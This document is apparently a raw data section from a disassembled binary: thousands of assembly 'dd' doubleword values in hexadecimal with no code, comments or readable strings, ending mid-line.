dd 51EAE4h, 96BC5313h, 9F692F5h, 0A984F400h, 0D6320D46h dd 0DA4A000Bh, 6FA47C7Bh, 1A3AC921h, 0A5BB8CDh, 80D030B8h dd 9B003C92h, 0F7DDFF2Ah, 352E0042h, 65CD8CFh, 0AD7522F3h dd 5AFAA407h, 9FC0F8B3h, 4441A9h, 14779525h, 0CC737B86h dd 57F4BE50h, 0BD072CF2h, 0FFB32A05h, 0DBE67A90h, 13680E61h dd 1A00F6EBh, 5893ABCAh, 0A17646F2h, 8E705C00h, 904A3A5Fh dd 0E0D20FD9h, 5A6052B5h, 2AB27324h, 0C487AE02h, 83CBF722h dd 2C219AC3h, 38C580E0h, 238D2881h, 0CDD36E0Ah, 1CE7D487h dd 1AF2B500h, 4F270E1Dh, 0F332012Fh, 371F8626h, 5FF4DC73h dd 0B480A800h, 0B977EACCh, 0CF48004Bh, 4D3EED3Bh, 13002D87h dd 0F5EEDF70h, 7EAA31h, 0E55DCA35h, 0EC3FBD27h, 29125200h dd 0A7A2AF30h, 0C71F0099h, 0FC2D0833h, 0FD005741h, 0C61229BFh dd 170448B5h, 6A1C038h, 80F571C0h, 9F28071Fh, 0D0F4700h dd 0CE7409h, 0AE80A6E0h, 9B6BDFD5h, 80D07F38h, 7210B445h dd 542EC4h, 865C4346h, 2C7EC929h, 80AF4739h, 30950464h dd 3957DAD4h, 0FA8F9837h, 82E086C2h, 10A7562Ch, 53DC7E6h dd 0F48480FDh, 41A49F0Fh, 0ABC3002Eh, 0F868A355h, 0BA72A795h dd 0B94FF00h, 0A622BDB6h, 8A5205E5h, 0EE24376Ah, 80C4CC80h dd 594B0366h, 280D12A4h, 0E1C379E0h, 0D8195000h, 0C53D6BB3h dd 3F8CF052h, 0D5BB4F76h, 0C2532480h, 87685CCAh, 3C1AA207h dd 90610155h, 7830952Fh, 0D690A05Eh, 1F4800B4h, 73EC9410h dd 0B50047C4h, 0A632D0D4h, 1B4C522h, 84E1A4F0h, 0ECFAF629h dd 0E50E300Ah, 0A068CD60h, 8B70D4BDh, 0E0FFFA6Ah, 0ED0C0082h dd 60DF9AF7h, 9607525Ah, 8340B5FBh, 0F00C2029h, 0C12E03h dd 0F9D1D56Fh, 0EF2D26DEh, 8289060Ch, 0DB109Fh, 0E24B078Eh dd 15146A75h, 4C6E539h, 45A79296h, 7AF70880h, 9203EECCh dd 0EA950010h, 3BF84EEFh, 20F830Ah, 41E2768Ah, 96FF597Ch dd 0FFF631h, 38611360h, 0DD082498h, 4B98E960h, 76A768BCh dd 378D01E4h, 45AA5A43h, 0C5CF6190h, 79AEE4B7h, 88B1EC00h dd 0F799E647h, 8EE09597h, 82058A14h, 2A638776h, 0BF3199C0h dd 0F850050h, 0CBC7D8A0h, 0A509B31Dh, 0D41BBB6Eh, 158002Eh dd 3E0732B9h, 57716B00h, 55976E8Eh, 0F7AF1E11h, 73FD6Fh dd 0BC178CF2h, 579294Fh, 5500B77Eh, 0D347016h, 27FA09Bh dd 0BB44F31Ch, 563C5A8h, 0D18B25D8h, 94004EF6h, 0CEB25A6Eh dd 338C91h, 0ED20F2F9h, 7AFF0849h, 11571400h, 9BAC83A3h dd 8E01002Bh, 0EC2D4838h, 0A4001A35h, 74B17FD4h, 3622F0Ch dd 0D23016DAh, 7CA0279Eh, 650033EAh, 0D94A34CCh, 702FD8F9h dd 5C9091h, 0FD491C61h, 8DF36F70h, 0EB102207h, 0C78A9047h dd 0DB96B207h, 0AC059DD0h, 0C50A00ECh, 0AEE4F683h, 0FF1D8FA0h dd 4680B11Ch, 40DCEA58h, 434F0F17h, 8E0944Dh, 88F796C6h dd 66CAA463h, 921000C4h, 0CBFA1F03h, 65005256h, 0F8868CB3h dd 786DACA8h, 90B47ADFh, 0C0AE0374h, 4B9BF019h, 0B9D539A8h dd 0FF0D7401h, 106D145Dh, 0C03E44F4h, 0D4BC3590h, 3D00477Bh dd 0D2F24B4Ch, 1A8789h, 363A260Fh, 0A5E17F29h, 57CEEA00h dd 7DBD19BAh, 721A001Fh, 0B14387DAh, 0F0F2FADh, 0A1E77C13h dd 0E2155083h, 0F060D2E4h, 0A3F3096Ch, 982EF1DBh, 52EA6400h dd 0E900DA23h, 1E1563FBh, 8884ACh, 31ABE3D0h, 0C6677BDh dd 75452D00h, 0ACD7DCBCh, 0A44A00EEh, 3A2C1F56h, 610055A9h dd 406DA342h, 7C2C9BEh, 69EA4F2Ah, 3D88629Dh, 0CA7260E1h dd 63E74360h, 890DA07h, 0A560B629h, 2FF7398h, 0F7C7C2D3h dd 0FAE310EBh, 0E61EC4A0h, 0C69A23Ch, 10C5FF02h, 10CF0B2h dd 91796D83h, 3F2460EFh dd 0B0E321A1h, 5D42981h, 638F41FEh, 0D1C607C1h, 0C26290BAh dd 0BD001B1Eh, 8D7F2208h, 0C0FCBF68h, 5A311F60h, 20C045ACh dd 743F9DC5h, 92CD0101h, 79C98A6h, 8E119273h, 89B0DC1Ch dd 1867ABE6h, 0A0BE7F5Fh, 64A9CBFCh, 55C0F2C4h, 28189CC6h dd 9B6119A4h, 7CA1023Fh, 9243DFB2h, 0F0C13F61h, 17F6D3C8h dd 877D023Ch, 0DABB1E82h, 6581F570h, 292E02CDh, 51D5180Eh dd 0A76674E0h, 56165700h, 0EA4D7190h, 0E0E0B8A3h, 6B0E0036h dd 1F53F1AEh, 6700CE4Eh, 723B9005h, 3592F2h, 0A4C6B90Bh dd 38E3CB94h, 4300377Ch, 0B765D688h, 11F2BA0h, 44BA90A9h dd 0F6D2CCF6h, 7AC5A0A3h, 25D51DC8h, 0F8C3A1EAh, 39C883h dd 3D2ADB8h, 0DA76BD16h, 0FAF3EF0Bh, 0E2BE8625h, 3E222228h dd 0FED0FE44h, 9427009Dh, 0F704FDDEh, 8100F9FAh, 5E259E75h dd 3F90B27Fh, 0A60019D5h, 9CD7AB43h, 8B0312D8h, 0A2F58D7Eh dd 4155B874h, 5C0D05EAh, 0FA83C59h, 0BEA0AFD7h, 552D5A8Bh dd 0BF03C490h, 0AB7B4CB2h, 0D5759996h, 688AC4h, 70FFEBC2h dd 0A16ACDBFh, 4E55140Ch, 361012h, 135EFEDDh, 0F1708EF0h dd 9A4E701h, 5ACCB199h, 0C283B5F4h, 869A93B9h, 0C0C5D041h dd 8400B8D2h, 379469ADh, 704E3C0Eh, 47340021h, 0C5A932F4h dd 0DC028128h, 784CBE36h, 0F65140F3h, 0C4980084h, 0EAE0D0Bh dd 0AC00B756h, 9F208D4Ah, 1F21E377h, 80737679h, 2844B565h dd 0DE00ACCAh, 7AEB450Ah, 4239AAh, 0A44EC3DAh, 162B311h dd 0E62BD600h, 38647F17h, 834A005Dh, 0E2A126BCh, 8703A584h dd 33292074h, 80FEA794h, 4FFB499Fh, 7BEB00A0h, 0D9C49D6Dh dd 4000F33Ah, 559903C5h, 71AE54h, 0D6E560A1h, 9FB10462h dd 1FD22300h, 3B76F106h, 0BD300C9h, 69CE36DFh, 0CB7996FAh dd 9E4F2200h, 0D1F0C8B8h, 3BB0394h, 741D47ABh, 0D5FD50FFh dd 59FC8FF3h, 0E2EB9100h, 28F6DABAh, 0EA7D7E04h, 0D0DE0096h dd 636601ACh, 7EA8A8Eh, 0A0C68400h, 0DBECD267h, 18E71F2Eh dd 0D5AF0031h, 7F773673h, 0E8B1951Ch, 8A3E3900h, 0CDB7DCh dd 99CE03C7h, 0FF3AABA6h, 78DBEA07h, 0EDB0AC51h, 0E7707Dh dd 3B1395B5h, 6BD4A718h, 218F3507h, 0D060793Eh, 1F932919h dd 990A27h, 0EF32531Ah, 0DC00B4FAh, 412E5EF2h, 79DD756h dd 39B13FE9h, 7FBB8065h, 0EC503C6Dh, 4C009CAAh, 0A1E63A48h dd 31783786h, 8879D416h, 0B9DCD835h, 497F1B00h, 0AA624722h dd 3E3004Fh, 0B5BBF3B1h, 500ABFFh, 9BD864D3h, 2C453252h dd 1CD6FA6Fh, 0BA640B0h, 0F24CA4FFh, 0E52C41B8h, 0B9001625h dd 0FB852903h, 0E647834h, 0B486F9B5h, 227AC420h, 0BF000895h dd 39A356A9h, 97DA47h, 2E23EDFDh, 9E809C15h, 24F84607h dd 5B30BD22h, 91AFD7h, 153A436Eh, 422ADD96h, 5EE10800h dd 0CBC68D7Bh, 77F60FB8h, 0A7410D3Dh, 0E8283F0Ah, 10009C33h dd 656741EDh, 9534CBBh, 9348DF5Dh, 38BA1400h, 0BD0026D8h dd 186556C9h, 1DC8A3h, 8AC51189h, 0D77CFB12h, 0C7D53000h dd 78B0E957h, 4022605Bh, 2161E874h, 0E0E38305h, 9400DB13h dd 0B7CF09A3h, 253D00F8h, 0B50677AAh, 8039270h, 1D9C59B9h dd 54ECE872h, 0BAE243h, 2DA94173h, 2E9D5B6Dh, 15676F00h dd 0F8E07DA5h, 7735E699h, 719E0047h, 212A8584h, 0EF001BA9h dd 0F8CDF438h, 74D2FDAh, 83F5AE33h, 0EDA37103h, 776FEC18h dd 9CD1FE00h, 118CC43Ah, 0EAE21C89h, 6E69008Ah, 219E320h dd 600421F0h, 1B10A839h, 0CA674080h, 5ACE00D8h, 3A287211h dd 32001C74h, 6A87D191h, 70B5C17h, 247B7E7Ch, 3F3E3369h dd 0C382ADC0h, 0D10CDC28h, 6861B900h, 95293BF1h, 4090E6h dd 0F510A748h, 8902E808h, 0C15B6C01h, 7CBD323Fh, 0A9C428C5h dd 138672B3h, 4D9081h, 7447B055h, 0DA05896Fh, 0F7144B84h dd 0AE69C000h, 20F4C5h, 58C0D81Ch, 0E4E15163h, 85392B00h dd 0E528D0C6h, 8D9300BAh, 311E5919h, 45004E5Fh, 0EB98E158h dd 5CFBFDBDh, 0A7C9849h, 0B4D65BCBh, 0D0568E84h, 7824C03Fh dd 12B3367Ch, 2AF36400h, 0EB9D6019h, 1E66168Ch, 2207003Eh dd 0AF3DCB1Dh, 416EDF00h, 12A680FAh, 9AF500A3h, 19680B45h dd 5C26CAB8h, 7905689Bh, 8C0E8065h, 3E3120F8h, 3999708h dd 0E2375204h, 0D21C472Ah, 8D00B1A3h, 0DD853AB9h, 0BC7F006Eh dd 26C753ECh, 311420D0h, 0E18443h, 254F5561h, 7A9E6EE1h dd 34D10015h, 9AF64969h, 14003159h, 98CCCA40h, 5C4F5218h dd 4B0091AAh, 0D9CD67FEh, 0AD00B541h, 635E8F9Fh, 3D3A8A6h dd 0B08D6954h, 0A4B936B4h, 39904002h, 53079992h, 3C86C474h dd 375DBBE0h, 0B84F00D7h, 0EAC3E2DBh, 0BA001AE8h, 232D3C7Ah dd 0FFC874h, 8F9885F0h, 0D1E14781h, 182E7800h, 155570F5h dd 601F60E5h, 96EECDBBh, 0CAF0D890h, 0A7A25200h, 76BE07CFh dd 994514EBh, 140210E6h, 0C7A01CACh, 0A36FA103h, 2684A0CDh dd 0FC2E495Ah, 0A75CA20Dh, 94C7C0C1h, 0EF01381Dh, 42D0803Dh dd 0B3C2FA4Bh, 0A67300DDh, 0BF8257D3h, 9600D1A3h, 0C691E361h dd 50A9A5AEh, 980E248Fh, 0BE130D99h, 0FF69F4D6h, 801C46C1h dd 0F72C70C9h, 20DD88h, 85D617ECh, 0B59942EBh, 0F83160ABh dd 0C62FE1A0h, 50A9A3D0h, 0AE3457h, 0B89A669Dh, 300EAA13h dd 0D8E24301h, 56F41D4Fh, 0E3CC00F3h, 1A171999h, 8FFE97C3h dd 0DCA7791Eh, 0DB0F4BC1h, 0DFF83413h, 0C33D1595h, 3207A671h dd 31B2751h, 3588DA72h, 0C17B422Ch, 0D6616200h, 0A6DE187Bh dd 9A250048h, 0CDC4CC1Bh, 0B403D0AAh, 42ACB628h, 5900D7E3h dd 0FA0ABFh, 0B78790DAh, 43EC7C37h, 0A179460Bh, 0DC76008Bh dd 905A5985h, 0D09E002Dh, 0C60739A8h, 0D7F4A3FBh, 60DBEE00h dd 0B1FFE9A0h, 781D0040h, 3DAB316Bh, 922606BCh, 0F605A2FAh dd 0A0404101h, 0F077C433h, 0F5A70C4Ah, 0EC198C74h, 4E889201h dd 2E99A5D6h, 309FC730h, 0E7206CAAh, 0A726EE9h, 93626900h dd 75280E81h, 22590F2Fh, 0C19F35F0h, 4A1AD69Ch, 0E62F81Dh dd 92753DF0h, 4300ACF0h, 0A301C53Bh, 0B228E822h, 92753C10h dd 9026B100h, 89DD8F4Bh, 6DF093Ch, 399FC312h, 0E58E3828h dd 0E8181DB0h, 3A4041B0h, 76240303h, 0F0DB6C0Ch, 0EAA66804h dd 7BC0D7B6h, 18AD48B8h, 0B81B825Ah, 22390524h, 2FF918A0h dd 37A75D40h, 575813CEh, 0E0E8B023h, 0D71803B8h, 0EE188EE9h dd 0FF6D4822h, 0F205A507h, 297C82EDh, 18719481h, 3913DC12h dd 40701624h, 92C790B1h, 9D76BA08h, 42521484h, 0B85098E6h dd 746640AEh, 71832407h, 0DC8549E5h, 43C77438h, 50EB8592h dd 505DC014h, 0EA37BA74h, 74C169CEh, 1881DEA8h, 13C99383h dd 495983F5h, 88A1E73Dh, 33F607A7h, 3608D7A9h, 0A54B2100h dd 9D156FE4h, 0AD8C180Eh, 503880FFh, 4870C03Ch, 0EA9440F8h dd 45609A14h, 0BAAC408Ch, 582BA440h, 8A1514D3h, 0C403908Dh dd 0ADF6D82Ah, 0E1F4C0FFh, 0FA1E910Eh, 728442D9h, 0C001F1AEh dd 986B7D9Ch, 87912970h, 20CF1E16h, 549206C9h, 0A2057032h dd 0F427AA3h, 8EC5F400h, 3BA7350Eh, 40E0759Fh, 0D0367928h dd 8E0858C3h, 1A51125Bh, 9F8040A0h, 96CF19BFh, 8583CC00h dd 5E3CD9EDh, 91D10156h, 0F8B29028h, 0E8FC5058h, 4A05578Fh dd 45D02326h, 27C6D003h, 44E1B0D4h, 73B008Ch, 0AC6C14EAh dd 70006F33h, 0B00351E5h, 73FED82h, 0FC61295Ah, 0B50AA07Eh dd 970913BCh, 1879F65h dd 0EEEAA8F9h, 8DFFD8h, 36FA966Dh, 0E41491CBh, 0E5050907h dd 80409C37h, 0B4797Dh, 6050C5B7h, 0E30F8ACDh, 5EC14000h dd 68518C7h, 7C0C00BCh, 36CBC4DDh, 7F07B85Ch, 6BB602BEh dd 54AC4680h, 0B1A0004Bh, 185A44C8h, 38005F50h, 51EA394h dd 31816BB5h, 80280414h, 10DC12CCh, 85893A6Eh, 0C478E809h dd 53083081h, 0B9800671h, 77E98813h, 51BA8Bh, 58EC0E02h dd 0CCBDB300h, 0B05981D7h, 7BF70042h, 0E0989034h, 3A000699h dd 0ACA4A860h, 0F99D86h, 597F332Eh, 0D5F4D165h, 0A3EF0200h dd 6E77EB5Eh, 0B0A40052h, 8C67D7FDh, 2FFEE254h, 8B06B70Fh dd 0E0E52EAEh, 6074A0C4h, 0EA7BB8h, 58A21531h, 90CDBEB5h dd 0FD66EC00h, 606DE436h, 624760C2h, 0D3727BDEh, 0CBF158h dd 26C5A234h, 0FAA7C64h, 23709484h, 0A1D54E41h, 0C541F0BCh dd 0E10166EEh, 73BE03E7h, 0E840952Eh, 7B7DE06Ch, 0B10E0012h dd 0CD8117AAh, 9F008955h, 0DE112A84h, 3EB69A57h, 58C77BEh dd 82AE80A0h, 2AA27300h, 87BBF90h, 0AE2D0050h, 287ADA4Fh dd 0A1B089E3h, 610C43E8h, 20C4DF30h, 104560A0h, 5BEF647Eh dd 9DA5D500h, 0A997BBB6h, 0F6781C2Fh, 16ECC2ACh, 14435136h dd 4C4919D0h, 7B57E80Fh, 0BC13619Eh, 0A1E4CCA0h, 0F4FD3F9Ah dd 0B001B800h, 7C53BBD8h, 79F6D10Bh, 0F0DB8028h, 0BD1F3Eh dd 39B93060h, 0A47CE948h, 0B41876ECh, 0D9684AD3h, 0C086008Ah dd 0A5056F1Ah, 963A1795h, 0F0420A08h, 0AE0E841Bh, 8D87C0D7h dd 75C9EECCh, 6614002Ch, 0F6FDE4E2h, 28C02D12h, 7698D142h dd 0EED8A0AFh, 0F93B1E41h, 9B6B40E1h, 7FD5CC44h, 0FC57338h dd 638DD4CFh, 905C4B57h, 0AFFF06h, 322E04FAh, 1FA2E0D2h dd 0F0479700h, 0F0D9948h, 0F6CF00DDh, 51B6B520h, 0F4F01D54h dd 0D2716B00h, 0E7CB52A3h, 9D370066h, 1DF9E3FFh, 3060D681h dd 85E0EDE8h, 2E100073h, 0BA3313E4h, 9700E137h, 7DD88CEBh dd 441DD0h, 0D2B0DC0Dh, 46215FF1h, 6BD9200h, 5C1CDA50h dd 99C60004h, 0D7377A8Bh, 3C75AB7Ch, 0D30AB101h, 2E66198h dd 45D800F3h, 99713287h, 0DF0046FFh, 8FA73D44h, 73312CBh dd 58503780h, 0E4BA21h, 714B3BE0h, 572EE5Dh, 9649B8EEh dd 604E007Ch, 0B5AF241Bh, 4A63002Ch, 2A87E234h, 3B00CBBDh dd 0C23C8C79h, 0EC0C647Bh, 3E30145Dh, 0ED00B6A9h, 477789F7h dd 0F00AFBAh, 3561F21Fh, 928A2D1Eh, 78BF0034h, 0A3E2219Fh dd 2B00136Ah, 0EB1493EEh, 36FAEA4h, 535F0372h, 900098F8h dd 8A0F13B4h, 73D34CBh, 0EAB0B53Fh, 80B880E9h, 9200AE5Dh dd 0F577B43Ch, 0F571A89h, 0C9419B8Fh, 0A1E26861h, 0C478212Eh dd 41FFD42h, 8700CD70h, 5FA74CA6h, 853F0062h, 3767F999h dd 0EDF4B10Dh, 13881C00h, 62E347A5h, 0CF8200AEh, 0A00C368Eh dd 0D90ED548h, 600A5E7Dh, 176E1809h, 0D11C00BAh, 0E5CA0164h dd 0E2028BF8h, 898880A6h, 0C4D8E3B3h, 0BC1ACAC0h, 79E700A4h dd 0D50A4A1Bh, 0DC0065FEh, 35FA7292h, 788456Ch, 0BDB637F5h dd 4D0CB05Ah, 6A0EE1FBh, 489F76h, 0FEE0AF18h, 1467811h dd 5D7AD729h, 0DC16E891h, 0A400AC87h, 0C84CB03Dh, 1EFF56BAh dd 0F9B92C95h, 27BC0C8h, 5A32D3E8h, 0FCA04D1Ch, 0E963C791h dd 7BB82407h, 0B970A09Ch, 992C14h, 41B382F5h, 5B4F6B83h dd 0D84898F6h, 6CD3013Ch, 4BF05524h, 25EDEFCh, 26874088h dd 0E84882BBh, 9E35D2E7h, 504069CFh, 8C621508h, 317734h dd 0F4D44888h, 0A865C1Bh, 7C4A4B00h, 0C57D7099h, 0A0AA508Dh dd 0F663000Dh, 0B5E8AC95h, 3F0982A3h, 98B648h, 52492BE4h dd 7D210014h, 17DB3CF0h, 851D729Bh, 3795F37h, 0B745E5CEh dd 7C94F82Ah, 933226FEh, 9FB5074Ch, 9929E395h, 0A9DD8DB8h dd 0A30FBF0Ch, 987EF881h, 95EA120Fh, 4CB8401Ch, 9D14169Eh dd 2781ED00h, 6A607F23h, 0E9BB00B7h, 392A761Ah, 40C0838Eh dd 0BF2E8AEAh, 0DA4D0042h, 0CD1D5F48h, 5E0052E2h, 291981D3h dd 3AC46885h, 6D00E7ABh, 0BA2F33A8h, 6F0069F1h, 79349D6Ah dd 768EB9h, 153C421Eh, 0E1A2FEB4h, 80E5D000h, 8EE6F427h dd 0D25E0096h, 0C7CA5B18h, 76169D81h, 11013971h, 3E2BF2C0h dd 99C420h, 0EA5DC2B7h, 449FD6BDh, 800B1405h, 0B4202659h dd 0C7C25FD7h, 0B296EDB0h, 0F060B941h, 0E8E7D9D3h, 733DCA57h dd 0C0F8809Eh, 0DA70A74Ah, 25CFC2Bh, 7EF329F5h, 0C880AB31h dd 8D5525B4h, 10B56E31h, 40DCBEC8h, 49AD1E2Bh, 0C13D1F50h dd 3A360145h, 0E81C60A6h, 46DD20h, 18BDE16Dh, 94167258h dd 42094C00h, 0EEF00F49h, 929854h, 0CED19C28h, 0FC08F1B3h dd 0DED58C00h, 0D37C9FB4h, 268B90BBh, 0F3674Ch, 744A13E2h dd 209AB6Eh, 256B949h, 773C8602h, 0F32A180h, 0C0FA99BCh dd 93227100h, 6A0B6D61h, 0AEC3DE2h, 8B4F9Dh, 0C6E1D4BFh dd 0FB000984h, 752EB293h, 9668EBA9h, 1F300B1h, 0C76D8380h dd 0CE52B307h, 4410C1A0h, 2ECB95h, 8933C422h, 41B28F8Ch dd 0C00DF0C0h, 7FF49563h, 94B3008Dh, 347FF89Ah, 78006B4Bh dd 0E2FD2F9Dh, 390FCEDh, 813F1172h, 0E6E832ECh, 0BDFE476Fh dd 234A24Ch, 0B7969AABh, 5720C087h, 0FEEA1291h, 0A06C00C6h dd 36CED339h, 0E1517F01h, 76061761h, 982AE640h, 0BDACA0A3h dd 96970257h, 0A21B3360h, 0C8C3E083h, 0FF3236A0h, 0E12D250Fh dd 46D1203Fh, 9AEDFBh, 0E6A5BC7Eh, 0E88C7B83h, 38A0B104h dd 0C805198h, 2C172C5h, 4BC832FCh, 89402CA7h, 560E3CF1h dd 805F660Ah, 0E47C031Eh, 61B800E9h, 384972F5h, 0F61D5910h dd 9E444123h, 95830386h, 0AD12C0AFh, 71DE09EAh, 9C855929h dd 0C3E84097h, 487C2B5Ch, 57502403h, 8D35A017h, 12723887h dd 0F73060ABh, 8C7566h, 0F8376EEEh, 0EC4AC10Ch, 2BE17B26h dd 0F4054E24h, 2AC1049Ah, 36D8B640h, 1BFE4C9h, 4551A269h dd 0C42877C1h, 0B339DCDAh, 0E51100C6h, 0DF15FB0Dh, 0A599004Ah dd 27C4A488h, 93FE5734h, 80AC2F31h, 0BC2451F8h, 92B20175h dd 3FD21CF4h, 0D9703078h, 670F4600h, 0D3350C6Ah, 9C23006Bh dd 96B15549h, 6613CB74h, 68000D2Bh, 0BB58DBCEh, 0B8C8004Dh dd 0FD64CF1Ah, 89007168h, 2B23F45Fh, 774A65h, 58E11315h dd 6C56E95Eh, 0B50EB47Dh, 2010D43Fh, 23DF03E0h, 9343010Fh dd 61E4A452h, 10103332h, 0AE38C407h, 99D04202h, 1040B773h dd 79F20AEBh, 7C14600h, 1857131Ch, 0F7730050h, 96270288h dd 391DCEE3h, 0A2C0FD53h, 0FC7E6347h, 0F8200037h, 618A4B29h dd 3D002E01h, 38DAEC93h, 0E415C70Ch, 335D00A5h, 69D13F56h dd 2B00C6EEh, 840FE99Ch, 3CC014h, 0C773608h, 918FFC9Ah dd 74B16000h, 9D42D33Fh, 0B447483Ch, 4987Ah, 11146123h dd 77BB03D8h, 49C40D07h, 812EE533h, 58C019D6h, 4CCFB20h dd 0EB312C81h, 0F13480E2h, 0BE1CB1CEh, 1380EE97h, 8D34D5CBh dd 8F1E1F14h, 61954052h, 0C491395Fh, 274DB000h, 7DE263B1h dd 8AE300C0h, 3107FD37h, 9C3C999Eh, 91F58E19h, 73C9A0C3h dd 25FFA3A2h, 98003ACDh, 758AD66Dh, 49E49400h, 2CC9E89Ah dd 470C0050h, 0B62BE97Fh, 721E88DDh, 9C0A7D6h, 8F6027F7h dd 79550096h, 4519775Fh, 97CA3Dh, 7BDED7F3h, 8BEC0094h dd 7C87F4AEh, 0C700FB6Ch, 4D1E1D2Fh, 1DE88067h, 478699B4h dd 0B087E064h, 2522294Ch, 2AEEB201h, 23594F47h, 0A05EECh dd 0DAE7B0E0h, 0D8DCA286h dd 93B11B07h, 8CC1BBE5h, 0B8E7B850h, 0A23B4B2Fh, 9B43D4h dd 0D4595320h, 278D8368h, 21C2138h, 0FBC05609h, 0E5DBE084h dd 2E1238B3h, 306BA583h, 60F85F92h, 0FA58676Eh, 44E22640h dd 0F144D300h, 1C3308Bh, 0ECA46DE1h, 0C10AF011h, 0C1D4E886h dd 65707607h, 0F507B657h, 0F7005A67h, 274C7Eh, 0CBDD0E6Dh dd 1FB8EB40h, 0AC9048h, 8468F96Ch, 48D32E11h, 0A500CCA9h dd 38EC91BBh, 0FF3E7354h, 8048B0h, 1ACAA634h, 1F1E2725h dd 40C1143Dh, 37176FEAh, 18008A3Fh, 7D20F6A8h, 23E6FAh dd 39D622Ch, 79160A13h, 750B7072h, 8A0796A0h, 2509944Ch dd 7368618Ah, 0E7579C30h, 834EBD5h, 16E89A84h, 17E835Eh dd 65880270h, 2FE074ABh, 52775D00h, 0B03D3E6Ch, 5B9F1801h dd 469DC88Dh, 8FF30B00h, 2AE19FCh, 0F2770030h, 0F5A83D5h dd 2B7BF466h, 1F96AD07h, 9605E8Ah, 1A5D222h, 0F7E9B4F8h dd 30576861h, 0EF01C4DEh, 7DB83E4Ah, 0A6609159h, 2D930067h dd 5D2965C7h, 1CB80454h, 342EF3E2h, 24036953h, 0F811642Bh dd 0B036DDDAh, 72AD00E8h, 482CFF3Eh, 64160B7Fh, 5AB37A5h dd 0C0C7B7D6h, 0A68F5D19h, 13F83F00h, 0A737DCEEh, 0B13403C3h dd 7E6BC6ACh, 80E0203Bh, 576430BCh, 12FB8515h, 0C0343B41h dd 98EC114Ch, 0B1428905h, 0F4D0F3BCh, 52FBF73h, 2EA3B65Bh dd 0F217DDh, 0DF551A64h, 0F617CBD0h, 9CB0630Fh, 0A37970h dd 0FCFF8FEDh, 0F2CCECB4h, 4295151Ch, 0CB90F466h, 9435AD01h dd 0E1452669h, 80E83895h, 3946EAAFh, 3DDD0041h, 0B6FFF42Ah dd 0B966AD62h, 862E40h, 13B088DEh, 26EC873Dh, 7100DAFCh dd 0A5BFFF4Dh, 0D9D0E2h, 0A314CC5Ah, 0D8CEB601h, 0ADD79F00h dd 0A4B88C4Ch, 3AB75ACh, 404DB144h, 9EC02948h, 9F009198h dd 0D8AE4E21h, 8843EDh, 0DB558D9Ch, 502DA63Fh, 9BF04D60h dd 3F50139h, 7FCCDA09h, 32802EC5h, 0A407B5BCh, 165BB8A5h dd 0CCA74C81h, 0FB8FC0h, 6C5F0F3Bh, 39298BADh, 770F6375h dd 0E082353Eh, 2BF9EDC9h, 54B578ECh, 0B15B980Ch, 0BCA0BA38h dd 17F0FA49h, 5603D1ECh, 0AA1B7559h, 0E064C24Fh, 78BAFEE4h dd 582F17A1h, 7EB8006Dh, 8A3DA71Ah, 0ADFCD800h, 90E71F53h dd 168D7ADDh, 490A9377h, 9464FA0Ch, 2C921F00h, 717F27DBh dd 0A1EC0060h, 798F49CCh, 31F074D8h, 299B840Fh, 21FAE0FBh dd 3E2AF976h, 0C883830Ch, 57DEA675h, 0B6BA9A90h, 10D6B830h dd 0AF8682h, 0C4C7DCFAh, 85E6CBE1h, 3A6948h, 0D7C108DFh dd 1FE840h, 8BF444A8h, 4D8C1CDBh, 426BF800h, 9D02494Eh dd 6458011Ah, 9E0E47ADh, 0EF0DF414h, 0A64D900Bh, 2448870Ah dd 30712600h, 7E397B97h, 54A107F5h, 0B75D3663h, 0EA5A9017h dd 6900761Ah, 38054C65h, 327897h, 10CDA4DDh, 64E9A2Ch dd 81F7ED00h, 1116FA5Ch, 137B007Eh, 0C342E7ADh, 0F31EC631h dd 9C0DF05h, 749ACF18h, 6A780069h, 0CA2A0BF1h, 5D025B6Eh dd 0E0E28B37h, 0B2A541D5h, 0A6D2F440h, 62B0D7h, 8ACA774Eh dd 6FA5DB20h, 0A22F1500h, 0FD4539E1h, 23181756h, 0C9880A88h dd 6CBB0081h, 0EE6F972h, 894FD800h, 0D30DD001h, 6C907Fh dd 92ECC927h, 0A6DB16E8h, 0E67DC201h, 528ACFEBh, 8FF7B840h dd 92AF480h, 4B273BF3h, 0CD1C70C0h, 180BE700h, 4198ED03h dd 0B9FF09BEh, 4A088A7h, 2A8D4FDCh, 4400014Eh, 9C037758h dd 3F4C90D4h, 0D98720C9h, 0C098B742h, 9D320408h, 24B8F73Ch dd 4F035422h, 0C041C19Ah, 277C957Fh, 4C041A49h, 0C0ECD0FAh dd 0F30621BFh, 0B62882CDh, 0A578A378h, 4F20C0C7h, 85198Fh dd 3437CA2Fh, 7083BC4Eh, 557A0D0Ch, 14103089h, 0A4FDCEEAh dd 0D68C13h, 2EC1FCACh, 230B9566h, 8247F16Bh, 0ECB8AF7Eh dd 0D87C0084h, 53EAEFA2h, 8101069Fh, 233E8659h, 30200C8Ch dd 2E8F1DEh, 0B44C0387h, 8D83043h, 6D153F98h, 764A2100h dd 6CE5BF6Bh, 0EFA817DDh, 0DE4A1FE3h, 0C41FC49Ah, 34188345h dd 290E2490h, 0FDD60B00h, 25DAA665h, 0F7270169h, 57047A58h dd 0BB0C3052h, 9C981B00h, 0BCB69637h, 59F30017h, 7357CB14h dd 0AB002B43h, 86931C07h, 1F7AF5h, 981A8B99h, 0F9050DFBh dd 0AB906701h, 1661C73Ch, 0E513F8h, 7D574292h, 0AF838AFDh dd 0C01FD70Bh, 94A020E2h, 49D139h, 3DA497BCh, 0C333AF19h dd 0E4D7BB03h, 89A98BE8h, 7AE0AE4Bh, 1A290097h, 49E0C879h dd 88265B63h, 4A402CC7h, 13A88F85h, 0C0BAF83Bh, 89501C14h dd 0C6008CBAh, 3E353F26h, 49313669h, 4A381Bh, 99D77FBCh dd 147B0403h, 2B106512h, 87C90840h, 44C898h, 14B52651h dd 22E6D9C3h, 38490A0Eh, 4C00376Ch, 9D9E4016h, 0CE87002Ch dd 0BBB4DD24h, 0B8006E82h, 85047B3Fh, 74921BDFh, 17610052h dd 23EE62C5h, 0E090301h, 803974E0h, 9054DECAh, 0CAA50A19h dd 88E533h, 0ECED5FDAh, 5900D60Ch, 0EBCBB749h, 4751B6h dd 548F6855h, 0B52D0DE4h, 0DA8AE800h, 29E3CB5Dh, 7F3100E5h dd 0D6894381h, 0F62C2E14h, 0DB005392h, 18D7EA6Bh, 4CF805CDh dd 0C068706Ah, 8286C308h, 0E400574Bh, 0F7E4EC51h, 17E90092h dd 0F38EA864h, 8900DD1Bh, 0F90FAD41h, 5CBC685Bh, 72DC8Fh dd 1BC97CBFh, 56130A30h, 211E6000h, 5BB35107h, 